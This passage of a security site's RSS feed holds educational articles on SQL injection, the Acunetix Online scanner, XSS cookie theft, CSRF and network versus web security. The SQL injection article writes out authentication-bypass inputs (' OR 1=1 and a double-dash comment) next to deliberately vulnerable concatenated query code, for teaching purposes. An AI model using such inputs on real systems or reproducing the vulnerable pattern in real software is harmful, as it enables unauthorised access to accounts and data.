<li><a href="https://www.firewall.cx/#blind-sql-injection" title="Blind SQL Injection">Blind SQL Injection</a></li>
<li><a href="https://www.firewall.cx/#out-of-band-sql-injection" title="Out-of-Band SQL Injection">Out-of-Band SQL Injection</a></li>
<li><a href="https://www.firewall.cx/#summary" title="Summary">Summary</a></li>
</ul>
<p style="text-align: justify;"><strong>Additional related articles:</strong></p>
<ul>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="What is Cross-site Scripting (XSS)? How does XSS Work? Different Types of XSS Attacks">What is Cross-site Scripting (XSS)? How does XSS Work? Different Types of XSS Attacks</a></li>
</ul>
<ul>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-avoiding-protecting-from-cross-site-request-forgery-attacks.html" target="_blank" title="Understanding, Avoiding &amp; Protecting Against Cross Site Request Forgery Attacks">Understanding, Avoiding &amp; Protecting Against Cross Site Request Forgery Attacks</a></li>
</ul>
<ul>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/automate-web-security-how-why-security-tools.html" target="_blank" title="Automate Web Application Security - Why, How &amp; The Necessary Tools">Automate Web Application Security - Why, How &amp; The Necessary Tools</a></li>
</ul>
<ul>
<li><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="Creating a Cross-site Scripting (XSS) Attack. Understanding How XSS Attacks Work &amp; Identifying Web Vulnerabilities">Creating a Cross-site Scripting (XSS) Attack. Understanding How XSS Attacks Work &amp; Identifying Web Vulnerabilities</a></li>
</ul>
<h2 style="text-align: left;"><a name="sql-injection-attacks-basics">SQL Injection Attacks - Basics</a></h2>
<p style="text-align: justify;">SQL Injection, or SQLi&nbsp;for short, refers to an attack vector that <strong>exploits</strong> a web application by abusing the inherent trust between the <strong>web application</strong> and the <strong>database</strong>. An <strong>SQL injection attack</strong> would allow an attacker to perform <strong>malicious actions</strong> on the database through the use of <strong>specially crafted SQL commands</strong>. SQL is the most commonly used database query language, making it ideal for an attacker to target.</p>
<p style="text-align: justify;">Since SQL Injection attacks can be performed against a <strong>wide array of applications</strong>, this attack is one of the most widely common and most critical of <strong>web vulnerabilities</strong>. So much so that injection attacks, such as SQL Injection, have placed first in OWASP’s Top 10 list,&nbsp; several times in a row.</p>
<p style="text-align: justify;"><strong>SQL Injection attacks</strong> can allow an attacker to <strong>extract</strong>, <strong>modify</strong>, <strong>add</strong> and <strong>delete data</strong> from a <strong>database</strong>, in turn <strong>affecting data confidentiality</strong>, <strong>integrity</strong> and <strong>availability</strong> (since an attacker could potentially delete data and disrupt operations). In addition, an SQL Injection attack can be used as a springboard to escalate the attack.</p>
<h2 style="text-align: left;"><a name="example-of-an-sql-injection-vulnerability">Example of an SQL Injection Vulnerability</a></h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/how-sql-injections-work/example-of-sql-injection.png" alt="example of sql injection" style="margin: 7px; float: left;" title="example of sql injection" />A <strong>web application</strong> would typically communicate with a variety of back-end systems, including a <strong>database</strong>. Let’s take an <strong>HTML form</strong>, which <strong>inserts values into a database</strong>, as an example.&nbsp;</p>
<p style="text-align: justify;">Once the form is filled out and submitted, an HTTP request (usually a <strong>POST</strong> request) is sent to the web application, where the <strong>input values</strong> are directly <strong>included into the SQL statement</strong> that will insert these values into the <strong>database</strong>.&nbsp;</p>
<p style="text-align: justify;">The only way an <strong>SQL Injection vulnerability</strong> could occur is if the <strong>web application trusts</strong> the <strong>user’s input without parameterizing it</strong> and using prepared statements. This is done by instructing the database that a certain part of the query should be executed while the rest is to be treated as the user’s input.&nbsp;</p>
<p style="text-align: justify;">Prepared statements ensure that the database does not interpret certain characters in the user’s input as part of the <strong>SQL statement</strong>, therefore allowing the attacker to <strong>submit their own SQL statements</strong>. </p>
<p style="text-align: justify;"><strong>SQL Injection example</strong>: The following <strong>pseudo code</strong> is a simple example showing how a user can be authenticated:</p>
<p class="box-info">// Get username and password from POST request<br />username = request.post['username']<br />password = request.post['password']<br /><br />// Statement vulnerable to SQL injection<br />sql = “SELECT id FROM users WHERE username=’” + username + “’ AND password=’” + password + “’”<br /><br />// SQL statement executed by database<br />db.exec(sql)</p>
<p style="text-align: justify;">If the user inputs <strong>foo</strong> as the username and <strong>bar</strong> as the password, the following SQL statement will be processed by the database server:</p>
<p class="box-info" style="text-align: justify;">SELECT id FROM users WHERE username=’foo’ AND password=’bar’</p>
<p style="text-align: justify;">When executed, as expected, this will return the value of the <strong>ID column</strong> that is associated with the <strong>database entry</strong> of the corresponding <strong>username</strong> and <strong>password</strong>.</p>
<h2 style="text-align: left;"><a name="exploiting-sql-injection-vulnerabilities">Exploiting SQL Injection Vulnerabilities</a>&nbsp;</h2>
<p style="text-align: justify;">The example above is <strong>vulnerable to SQL Injection</strong>, since whatever the user inputs in the form will be <strong>interpreted</strong> by the database server as a <strong>command</strong>. For instance, an attacker could bypass this form by setting the password field to <strong>’ OR 1=1</strong></p>
<p style="text-align: justify;">The following is what the SQL statement would look like.</p>
<p class="box-info" style="text-align: justify;">SELECT id FROM users WHERE username=’foo’ AND password=’pass’ OR 1=1</p>
<p style="text-align: justify;">From the above statement we can see that the user’s input has changed the statement’s functionality. Now, the value of the ID column is being returned if the submitted username is equal to <em>foo</em>, <strong>and</strong> password is equal to <em>pass</em>, <strong>or</strong> if 1is equal to 1 (which will always be the case).</p>
<p style="text-align: justify;">With this statement only the username needs to match the value in the database because, for the password condition to be met, the submitted password can either match the value in the database or it can be validated if 1=1. With this trick, the attacker can <strong>bypass</strong> the <strong>website’s authentication mechanism</strong> for any user whose <strong>username</strong> is <strong>known</strong>.&nbsp;</p>
<p style="text-align: justify;">To further control the SQL statement, an attacker can even <strong>comment out the rest of the statement</strong>. For example, an attacker can use the <strong>double-dash</strong> (<strong>--</strong>) notation to comment out the rest of the statement:</p>
<p class="box-info" style="text-align: justify;">SELECT id FROM users WHERE username=’username’ --’ AND password=’bar’</p>
<p style="text-align: justify;">The highlighted part of the above statement, or anything after the <strong>double-dash</strong>, will be <strong>commented out</strong> and therefore <strong>not considered during execution</strong>. This will once again allow an attacker to <strong>bypass authentication</strong>.&nbsp;</p>
<h2 style="text-align: left;"><a name="variations-of-sql-injection-attacks">Variations of SQL Injection Attacks</a></h2>
<p style="text-align: justify;">It is important to note that there are <strong>three major classifications of </strong><strong>SQL Injection attacks</strong>, each of which has its own particular use and can only be used under a specific circumstance. These categories are:</p>
<h2 style="text-align: left;"><a name="in-band-sql-injection">In-Band SQL Injection</a></h2>
<p style="text-align: justify;">The example that we saw earlier was an in-band attack since the same channel was used to launch the attack and obtain the result which, in this case, was being authenticated. <strong>In-band attacks</strong> are the <strong>most common</strong> and <strong>easiest to exploit</strong> in comparison to other SQL injection attacks.&nbsp;</p>
<p style="text-align: justify;"><strong>Data exfiltration</strong> using <strong>in-band attacks</strong> can either be done through <strong>error messages</strong> that are reported on the web application triggered by an SQL Injection attack or by using the <strong>UNION operator</strong> thereby allowing an attacker to insert their own SQL statements.&nbsp;</p>
<h2 style="text-align: left;"><a name="blind-sql-injection">Blind SQL Injection</a></h2>
<p style="text-align: justify;"><strong>Blind</strong> or <strong>Inferential SQL Injection attacks</strong> may take longer to execute, since the only response returned is in the form of a <strong>boolean</strong>. The attacker can exploit this to make requests and&nbsp;<strong>identify differences</strong> in the <strong>response being returned</strong>, which will confirm if the requests sent had a <strong>true</strong> or <strong>false result</strong> and then reconstruct the database structure and data.</p>
<p style="text-align: justify;"><strong>Content based</strong> attacks focus on the response being returned, such as an <strong>HTTP response status code</strong> or the <strong>response data itself</strong>. On the other hand, <strong>time based</strong> attacks measure <strong>delays in the response</strong> being sent by the server where, for example, a ten second delay may confirm that the request returned a true result, while no delay means that the result was false.&nbsp;</p>
<h2 style="text-align: left;"><a name="out-of-band-sql-injection">Out-of-Band SQL Injection</a></h2>
<p style="text-align: justify;"><strong>Out-of-Band attacks</strong> are the <strong>least common</strong> of the <strong>SQLi attacks</strong> and generally the <strong>most difficult to execute</strong> because the attack requires that the server hosting the database will communicate with the attacker’s infrastructure. This attack would normally be used if the channel through which the requests are being made is not consistent or stable enough for an <strong>in-band</strong> or&nbsp;<strong>blind SQLi attack</strong> to succeed.&nbsp;</p>
<h2 style="text-align: left;"><a name="summary">Summary</a></h2>
<p style="text-align: justify;"><strong>SQL Injection attacks</strong> require that the web application passes an attacker’s input to the database without making use of prepared SQL statements. <strong>Exploiting</strong> an <strong>SQL Injection vulnerability</strong> can, potentially, even allow an attacker to gain access to resources that are only reachable on local networks.</p>
<p style="text-align: justify;">Since <strong>SQL Injection</strong> has been around since <strong>1998</strong> it is widely understood and easily exploitable using <strong>free and readily available tools</strong>. Most development frameworks have protection mechanisms built in that assist web developers to produce web applications that are not prone to <strong>SQL Injection attacks</strong>.</p>
<p style="text-align: justify;">This goes to show that <strong>preventing SQL Injection</strong><strong> vulnerabilities</strong> has become a necessity. Manually testing each form and parameter does not work well, which is why it makes sense to automate web application security testing with a tool such as <strong>Acunetix</strong>, which will not only find instances of SQL Injection but also other known vulnerabilities.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 08 Aug 2017 08:57:02 +1000</pubDate>
		</item>
		<item>
			<title>Acunetix Online: Run a Free Scan for Network and Web Vulnerabilities. Detect, Prioritise and Manage Security Threats</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-online-free-scan-network-web-vulnerability-scanner.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-online-free-scan-network-web-vulnerability-scanner.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-online-scanner/acunetix-online.jpg" alt="Acunetix Free Online Network and Web Vulnerability Scanner" style="margin: 7px; float: left;" title="Acunetix Free Online Network and Web Vulnerability Scanner" /><strong>Acunetix</strong> has refreshed its o<strong>nline web and network vulnerability scanner</strong>, <strong>Acunetix Online</strong>, with a <strong>massive update</strong>. The <strong>new Acunetix Online</strong> now incorporates all the features found in its on premise offering, Acunetix On Premise. With a <strong>brand new simpler than ever user interface</strong>, <strong>integrated vulnerability management</strong> and integration with popular <strong>Web Application Firewalls</strong> (<strong>WAFs</strong>) and <strong>Issue Tracking systems</strong>, this is by far the <strong>biggest Acunetix Online release since it’s introduction</strong>.</p>
<h2 style="text-align: left;">Simpler, Cleaner User Interface</h2>
<p style="text-align: justify;"><strong>Acunetix Online’s</strong> new user interface has been re-designed from the ground-up to bring it inline with <strong>Acunetix On Premise</strong>. The <strong>Acunetix Online user interface</strong> has been <strong>simplified</strong> whilst being made <strong>more useful</strong> by focusing on the product’s core functionality by introducing <strong>filtering options</strong>, and <strong>improving manageability of Targets</strong>. Features include:</p>
<ul class="check" style="text-align: justify;">
<li><strong>Targets</strong>, <strong>Scans</strong>, <strong>Vulnerabilities and Reports</strong> can all be filtered to find exactly what you are looking for quickly.</li>
<li><strong>Excluded Hours</strong>, <strong>Excluded Paths</strong>, <strong>custom User Agent strings</strong>, <strong>client certificates</strong> and many more configuration options previously only available to <strong>Acunetix On Premise</strong> customers are now also available in <strong>Acunetix Online</strong>.</li>
<li><strong>Test complex web applications</strong> by pre-seeding crawls using a list of URLs, <strong>Acunetix Sniffer Log</strong>, <strong>Fiddler SAZ files</strong>, <strong>Burp Suite</strong> saved and state files, and <strong>HTTP Archive</strong> (<strong>HAR</strong>) files.</li>
<li><strong>Vulnerabilities across all Targets</strong> are displayed in one view.</li>
<li><strong>Vulnerabilities</strong> can be <strong>filtered</strong> by <strong>Target</strong>, <strong>Business Criticality</strong>, <strong>Vulnerability</strong>, <strong>Vulnerability Status</strong> and <strong>CVSS score</strong>.</li>
<li><strong>Vulnerability</strong> can be <strong>grouped</strong> by <strong>Target Business Criticality</strong> and <strong>Vulnerability Severity</strong>.</li>
</ul>
<h2 style="text-align: left;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-online-scanner/acunetix-online-dashboard.png" alt="Acunetix Online Dashboard - manage and track security vulnerabilities" style="display: block; margin-left: auto; margin-right: auto;" title="Acunetix Online Dashboard - manage and track security vulnerabilities" /></h2>
<p style="text-align: center;">The enhanced Acunetix Online Dashboard provides all necessary information in one place to help manage and track security vulnerabilities</p>
<h2 style="text-align: left;">Easier, more effective Target and Vulnerability management</h2>
<p style="text-align: justify;">Business Criticality, a user-defined metric to determine how important a Target is to the business’ function, can now be assigned to Targets. This enables you to easily prioritize vulnerability remediation based on business criticality.</p>
<h2 style="text-align: left;">Out-of-the-box Issue Tracker and WAF integration simplifies vulnerability remediation</h2>
<p style="text-align: justify;">Acunetix Online now supports one-click issue creation in Atlassian JIRA, GitHub and Microsoft Team Foundation Server (TFS), allowing development teams to better keep track of vulnerabilities in their issue tracking systems -- All without leaving the Acunetix Online interface!</p>
<p style="text-align: justify;">Vulnerabilities can now be exported to WAFs (F5 Big-IP ASM, Fortinet FortiWeb and Imperva SecureSphere), allowing users to implement virtual patches to critical vulnerabilities in the WAF, until a fix addressing the vulnerability is deployed to the web application. Scan results can now also be exported to the Acunetix generic XML for integration with other WAFs or 3<sup>rd</sup> party systems.</p>
<h2 style="text-align: left;">Mark Vulnerabilities As Fixed Or False Positives</h2>
<p style="text-align: justify;">Acunetix Online not provides the ability to mark vulnerabilities as <em>False Positive, Fixed </em>or <em>Ignored</em>. This means that users can now get rid of false positives from upcoming scans and reports.</p>
<p style="text-align: justify;">To make vulnerability management more useful, Acunetix Online will now label reoccurring vulnerabilities as <em>Rediscovered</em>. You may choose to accept a vulnerability’s risk by marking the vulnerability as<em> Ignored</em>.</p>
<h2 style="text-align: left;">Custom Scan Types</h2>
<p style="text-align: justify;">Scan Types are a logical grouping of tests that test for specific classes of vulnerabilities. Of course, Acunetix Online comes bundled with commonly used default Scan Types, however, Acunetix Online now even create your own Scan Types. A great example of a Custom Scan Type is to scan Targets for a recently discovered vulnerability.</p>
<h2 style="text-align: left;">Enhanced Reporting</h2>
<p>In addition to generating reports for an individual scan, Acunetix Online now allows you to generate reports on:</p>
<ul class="checkbox">
<li>Individual or multiple Scans</li>
<li>Individual or multiple Targets</li>
<li>Individual, multiple or all the Vulnerabilities identified by Acunetix.</li>
</ul>
<p>There is also the introduction of a Scan Comparison report which highlights the differences between 2 scans, allowing the user to easily identify the new vulnerabilities in the latest scans, or the vulnerabilities that have not been detected, which could mean that they are fixed. Reports are now available in both PDF and HTML.</p>
<h2 style="text-align: left;">Network Security Scanning</h2>
<p style="text-align: justify;">Acunetix Online provides a comprehensive perimeter network security scanning service by integrating with the latest OpenVAS network vulnerability scanning engine (v9). This means that Acunetix Online can now detect in excess of 50,000 perimeter network vulnerabilities.</p>
<h2>Added Functionality For Acunetix Integrators</h2>
<p style="text-align: justify;">Acunetix Online now also has a new powerful RESTful API that may be used by system integrators. The API is able to provide up-to-the-minute status of on-going scans together with information on vulnerabilities identified for these scans.</p>
<p style="text-align: right;">&nbsp;</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Thu, 18 May 2017 20:47:51 +1000</pubDate>
		</item>
		<item>
			<title>Protecting Your Cookies from Cross Site Scripting (XSS) Vulnerabilities – How XSS Works</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/protecting-user-cookies-from-xss-vulnerabilities-attacks.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/protecting-user-cookies-from-xss-vulnerabilities-attacks.html</guid>
			<description><![CDATA[<h2 style="text-align: left;">Understanding XSS Vulnerability Attacks</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/protecting-user-cookies-from-xss/protecting-cookies-from-xss-vulnerabilities.jpg" alt="protecting cookies from xss vulnerabilities" style="margin: 7px; float: left;" title="protecting cookies from xss vulnerabilities" />This article aims to help you understand how <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="Cross Site Scripting (XSS)">Cross Site Scripting (XSS)</a>&nbsp;<strong>attacks work</strong>. <strong>Cross Site Scripting</strong> or <strong>XSS</strong> can happen in many ways. For example, an <strong>attacker</strong> may present you with a <strong>malicious website</strong> looking like its original and ask you to <strong>fill in your credentials</strong>. When your <strong>browser sends its cookies</strong> over to the <strong>malicious website</strong>, the <strong>attacker decodes</strong> your information and uses it to impersonate you at the original site. This is a <strong>targeted attack</strong> and is called <strong>non-persistent</strong> in technical terms.</p>
<p style="text-align: justify;">Websites and web applications usually send a cookie to identify a user after he/she has logged in. For every action from the user on the site, the user's browser has to resend the cookie to the web application as identification. If an attacker is able to inject a Cross-site Scripting (XSS) payload on the web application, the malicious script could steal the user's cookie and send it to the attacker. The attacker can then use the cookie to impersonate the user in the web application. The most dangerous variation of XSS is persistent, or stored XSS. This is because the attacker’s XSS payload gets stored and served to each visitor accessing the website or web application without any user interaction.</p>
<p style="text-align: justify;">By stealing a session cookie, an attacker can get full control over the user's web application session.</p>
<h2 style="text-align: left;">What Happens During An XSS Attack?</h2>
<p style="text-align: justify;">Although Cross-site Scripting (XSS) is one of the most common forms of attacks, most people underestimate its power to exploit. In an <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="XSS attack">XSS attack</a>, the attacker targets the scripts executed on the client-side rather than on the server-side. Mostly it is the internet security vulnerabilities of the client-side, because of JavaScript and HTML, which are the major victims for these kinds of exploits.</p>
<p style="text-align: justify;">In an XSS attack, the attacker manipulates the client-side scripts of the web application of the user to execute in a certain manner suitable to the attacker. With such a manipulation, the attacker can embed a script within a page such that it executes each time the page is loaded or whenever a certain associated event is performed.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/protecting-user-cookies-from-xss/how-xss-attacks-work.png" alt="Basic XSS attack. How malicious scripts are injected into web servers &amp; victims browsers" title="Basic XSS attack. How malicious scripts are injected into web servers &amp; victims browsers" /></p>
<p style="text-align: center;">Basic XSS attack. How malicious scripts are injected into web servers &amp; victims browsers</p>
<p style="text-align: justify;">In another variation of the XSS attack, the attacker has infected a legitimate web page with a malicious client-side script. When the user opens the web page in his browser, the script downloads and, from then on, executes whenever the user opens that specific page.</p>
<p style="text-align: justify;">As an example of an XSS attack, a malicious user injects their script into a legitimate shopping site URL. This URL redirects a genuine user to an identical but fake site. The page on the fake site runs a script to capture the cookie of the genuine user who has landed on the page. Using the cookie the malicious user now hijacks the genuine user's session.</p>
<p style="text-align: justify;">Most site owners do not view XSS attacks as serious enough to steal sensitive data from back-end databases, however, the consequences of an XSS attack against a web application can be quite serious and both application functionality and business operation may be seriously compromised.</p>
<p style="text-align: justify;">If an enterprise's site is vulnerable to XSS exploits, present and future customers may not want to continue to do business with it fearing leakage of sensitive information. The loss of trust will definitely not auger well for the future of the enterprise. It might also lead to a defaced application and a public embarrassment for the enterprise, much to the relish of the attacker.</p>
<p style="text-align: justify;">Exploitation through XSS may lead to the following:</p>
<ul class="check">
<li>Theft of identity;</li>
<li>Accessing of restricted or sensitive information;</li>
<li>Free access to otherwise paid-for content;</li>
<li>Spying on the habits of the user;</li>
<li>Changing the functionality of the browser;</li>
<li>Public defamation of an enterprise or an individual;</li>
<li>Defacement of a web application;</li>
<li>Denial of Service to genuine users.</li>
</ul>
<p style="text-align: justify;">In several cases of XSS attacks, malicious attackers have made use of security flaws in high-profile web sites and obtained user information and credit card details to carry out expensive transactions. They have tricked legitimate users into visiting a malicious but legitimate looking page that captured the user’s credentials and sent the details to the attacker.</p>
<p style="text-align: justify;">Although the above incidents may not be as bad as that of attackers gaining access to an enterprise database, customers can easily lose faith in the application's security. For the owner of the vulnerable website, such incidents can turn into legal hassles, liabilities, and loss of business.</p>
<h2 style="text-align: left;">Protecting Your Cookies From XSS Vulnerabilities</h2>
<p style="text-align: justify;">There is not much one can do for a targeted attack or a non-persistent attack where the user has delivered his/her credentials to the attacker. However, web application scan use automated tools to check whether they are vulnerable to Cross-site Scripting.</p>
<p style="text-align: justify;">The <strong>complex nature of web applications</strong> in present use makes it <strong>difficult to identify</strong> and check <strong>all attack surfaces manually against XSS attack variants</strong>, because the variants can take multiple forms. Therefore, <strong>automated web application security scanners</strong> are preferable as they can <strong>crawl the website automatically</strong> and <strong>check</strong> for any <strong>vulnerability</strong> to <strong>cross-site scripting</strong>. They <strong>detect</strong> and indicate the <strong>existing vulnerability</strong> of the URL and input parameters on the script of the website, which the owner of the website must then fix.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Mon, 08 May 2017 19:04:59 +1000</pubDate>
		</item>
		<item>
			<title>Understanding, Avoiding &amp; Protecting Against Cross Site Request Forgery Attacks</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-avoiding-protecting-from-cross-site-request-forgery-attacks.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-avoiding-protecting-from-cross-site-request-forgery-attacks.html</guid>
			<description><![CDATA[<p style="text-align: justify;">This article explains what a <strong>web browser cookie</strong> is and examines how&nbsp;<strong>Cross Site Request Forgery work</strong> by allowing hackers to <strong>intercept</strong> and <strong>access web browser cookies</strong> from <strong>unaware users</strong> trying to <strong>logon to a website</strong> to continue their <strong>online shopping</strong> or access personal online files e.g Dropbox etc. We also explain how we can <strong>avoid Cross Site Request Forgery attacks</strong> and <strong>best security practices</strong> to <strong>keep our web applications</strong> and <strong>users safer</strong>.</p>
<h2 style="text-align: justify;">What is a Cookie?</h2>
<p style="text-align: justify;">When visiting a website, a cookie (small file) from the website is usually stored on your computer containing information such as login details, items you had in your shopping basket etc. Each cookie is unique to your web browser and website visited, so that the website can retrieve or read the contents of its cookie when revisiting it. What most people are unaware of is that any malicious attacker with access to your computer can use the cookies stored therein to exploit access to websites you have visited earlier.</p>
<p style="text-align: justify;">A malicious attacker may take advantage of this situation by latching on to the authentication cookie the user is sending to the website for initiating an action and then using the credentials to impersonate the user. The attacker uses <strong>Cross Site Request Forgery</strong> (<strong>CSRF</strong>) for initiating the attack.</p>
<h2 style="text-align: justify;">Mechanism of a CSRF Attack</h2>
<p style="text-align: justify;">The <strong>Open Web Application Security Project</strong> (<strong>OWASP</strong>) <strong>Top 10 lists</strong> <strong>Cross Site Request Forgery</strong> which is an attack whereby an attacker uses his or her website to send malicious code to a vulnerable web application in which a user is already authenticated.</p>
<p align="center"><img src="https://www.firewall.cx/images/stories/web-application-security/protecting-against-csrf-attacks/avoiding-protecting-from-cross-site-request-forgery-attacks-1.png" alt="Illustration of how CSRF attacks work" style="display: block; margin-left: auto; margin-right: auto;" title="Illustration of how CSRF attacks work" />Figure 1. Illustration of how CSRF attacks work</p>
<p style="text-align: justify;">When the user visits the attacker’s website, the malicious code inadvertently forces the user’s browser to generate an unwanted request to the intended web application, thereby also making it send an authentication cookie. That allows the attacker to gain access to the functionality of the target web application just as the user would. Targets include web interface for network devices, in-browser email clients, and web applications such as social media sites.</p>
<p style="text-align: justify;">Examples of <strong>CSRF attacks</strong> include the attacker transferring unauthorized money from victims’ bank accounts, sending out offensive postings on social media sites by impersonating you, and snooping on all your Internet traffic by redirecting your router (analyzed below). The attacker does all this from a site different from the vulnerable site, hence the name Cross Site.</p>
<h2 style="text-align: justify;">Executing A CSRF Attack</h2>
<p style="text-align: justify;">Assume you have recently purchased a home wireless router and are trying to configure it via its web interface. As with the most routers, it has a commonly used internal IP address of 192.168.1.1. Since it is difficult to configure, you seek help from a website that has published a guide that shows the necessary buttons to click on the router interface to get everything set up securely.</p>
<p style="text-align: justify;">The website guide actually belongs to attackers and they have a CSRF attack set up in the tutorial. They know that when clicking through their guide, you are also logged in to your router, following their instructions. The CSRF attack reconfigures your router without your knowledge so that all internet traffic would be routed to a proxy server they have set up on the internet, allowing them to monitor your internet activity.</p>
<h2 style="text-align: justify;">Preventing CSRF Vulnerabilities</h2>
<p style="text-align: justify;">To <strong>prevent CSRF vulnerabilities</strong>, it must be clear the vulnerability actually lies in the <strong>affected web application</strong> and <strong>not in the victim’s browser</strong> or the <strong>site hosting the CSRF</strong>. Therefore, <strong>web applications need countermeasures</strong> to raise the bar for making CSRF more difficult to perform.</p>
<ol style="text-align: justify;">
<li>As <strong>CSRF</strong> relies on HTTP requests that produce side effects such as deletions or data modifications with the use of <strong>HTTP POST</strong>. However a <strong>HTTP POST</strong> alone may not suffice, as even after the page is loaded, an attacker can create a <strong>phantom POST request</strong> by using <strong>JavaScript</strong>. Additional safeguards are necessary to avoid <strong>CSRF</strong> for <strong>POST</strong> requests:</li>
<li><strong>Check the HTTP Referrer header</strong> to verify that the request originated from the web browser the user is using and not from a <strong>malicious user agent</strong>. Of course, it is also possible for someone to <strong>inject HTML/JavaScript code</strong> into your page to originate the request. An alternative is to <strong>add an original header</strong> to the HTTP packet and send it only <strong>after the POST request</strong> with only a hostname, to ensure privacy.</li>
<li><strong>Use one-time tokens</strong>. This is a popular method used by banks. The token is generated from a small electronic device for a single session of the user and included in each transmission. Forms contain a field that is populated by the token similar to the one shown below:
<p><img src="https://www.firewall.cx/images/stories/web-application-security/protecting-against-csrf-attacks/security-tokens-used-for-e-banking.png" alt="security tokens used for e banking" style="display: block; margin-left: auto; margin-right: auto;" title="Security tokens used for e-banking" /></p>
<p style="text-align: center;" align="center">Figure 2. Security tokens used for e-banking</p>
</li>
<li><strong>Use a double-submitted cookie</strong>. This is an advanced variation of the <strong>one-time token</strong>, where the token coming with the form is matched with a cookie, instead of the session value.</li>
<li><strong>Use a web application security scanner</strong>: you can also use an automated web application security scanner to automatically detect CSRF vulnerabilities in web applications. If you use Netsparker Desktop you do not need to disable the one-time token anti-CSRF technology to automatically scan your website.</li>
</ol>
<p style="text-align: justify;">Although the above suggestions will reduce the risk dramatically, they are no match for <strong>advanced CSRF attacks</strong>. Using unique tokens and eliminating all <strong>XSS vulnerabilities in web applications</strong> are still the strongest <strong>techniques against such CSRF attacks</strong>.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 30 Aug 2016 23:00:54 +1000</pubDate>
		</item>
		<item>
			<title>Differences between Network &amp; Web Application Security. Comparing Network Security with Web Security</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/network-security-vs-web-security.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/network-security-vs-web-security.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/network-security-vs-web-security/network-security-vs-web-security-1.png" alt="network security vs web security " style="margin: 7px; float: left;" title="network security vs web security" />According to Wikipedia, security is defined as the degree of resistance to, or protection from, harm. It applies to any vulnerable and valuable asset which in almost all cases, will include an organizations’ website, web service and IT infrastructure.</p>
<p style="text-align: justify;">At the same time, it is important to realize that security is a very broad term. Many people mistakenly associate network security with web application security. While there are some similarities, there are also many distinct differences that necessitate a unique approach to each. The assumption that a secure network results in a secure web application and vice versa is a critical mistake.</p>
<p style="text-align: justify;">In this article, we are going to look at what makes <strong>web application security</strong> different from <strong>network security</strong> and why an approach that addresses both is the only way forward when it comes to maintaining an effective overall IT security posture.</p>
<h2 style="text-align: justify;">What Is Network Security?</h2>
<p style="text-align: justify;"><a href="https://www.firewall.cx/tools-tips-reviews/security-articles/network-security-intro.html" target="_blank" title="Network security">Network security</a> can be either hardware based (routers with a built-in firewalls, network intrusion and detection systems) or software based. Because network security has been around for a very long time, it’s often the first thing that comes to mind when people think about security. Web application security on the other hand, is a relatively new challenge.</p>
<p style="text-align: justify;">Much like a moat, curtain wall and portcullis protect a castle, network security plays the <strong>important but restrictive and limited</strong> role of keeping the bad guys (hackers) out and allowing the “good guys” to enter. In the DMZ environment there’s an overall focus on protecting the perimeter that surrounds the website, web application or web service with the help of a Firewall security appliance. Although this works well in some instances, Firewall security appliances are no longer considered an adequate solution because they are unable to protect organizations from their own vulnerable web services or web application servers.</p>
<p style="text-align: justify;">Even in the event of an Intrusion Prevention System (IPS), new application-based exploits or incorrectly secured web applications are almost impossible to detect as IPS systems are signature-based which means they need to know about a specific exploit or attack in order to help protect against it.</p>
<p style="text-align: justify;">Let’s examine two very common scenarios based in the organization’s DMZ environment which is where most internet originating attacks focus on:</p>
<p style="text-align: justify;">First, when is network security considered effective? As an example, an FTP server might have a network security setting that limit access to it for a specific remote user. This effectively controls who is able to access the server, however we must keep in mind that the FTP server is responsible of filtering all requests from non-allowed users.</p>
<p style="text-align: justify;">Second, if you have a high-traffic website or web application open to the public, ports 80 (HTTP) or/and port 443 (HTTPs) are usually required to be open,allowing valid and malicious traffic access the resource. The only way to effectively address this issue is through web application security to eliminate all potential web application vulnerabilities. Our article covering <a href="https://www.firewall.cx/tools-tips-reviews/security-articles/implications-of-unsecure-webservers-and-websites-for-oganizations-companies.html" target="_blank" title="popular websites that have been repeatedly comprimised">popular websites that have been repeatedly comprimised</a> is direct proof of such real-life examples.</p>
<h2 style="text-align: justify;">Web Application Security</h2>
<p style="text-align: justify;">Consumers’ need for applications that provide more information and increased functionality has organizations creating increasingly complicated web applications. As a result, the attack surface of many web application is rarely static. It’s either increasing in size or becoming more complicated. The process of managing web application security is a challenging one that is continuously becoming more time-consuming and demanding as applications continue to become more complex.</p>
<p style="text-align: justify;">There are two distinct aspects that make web application security such a challenge:</p>
<ol>
<li>The organization’s network infrastructure provides access to the web application, by default, it exposes all potential vulnerabilities to attack including web forms, input fields, logical web vulnerabilities and more. The only realistic solution is to work towards the elimination of all vulnerabilities.</li>
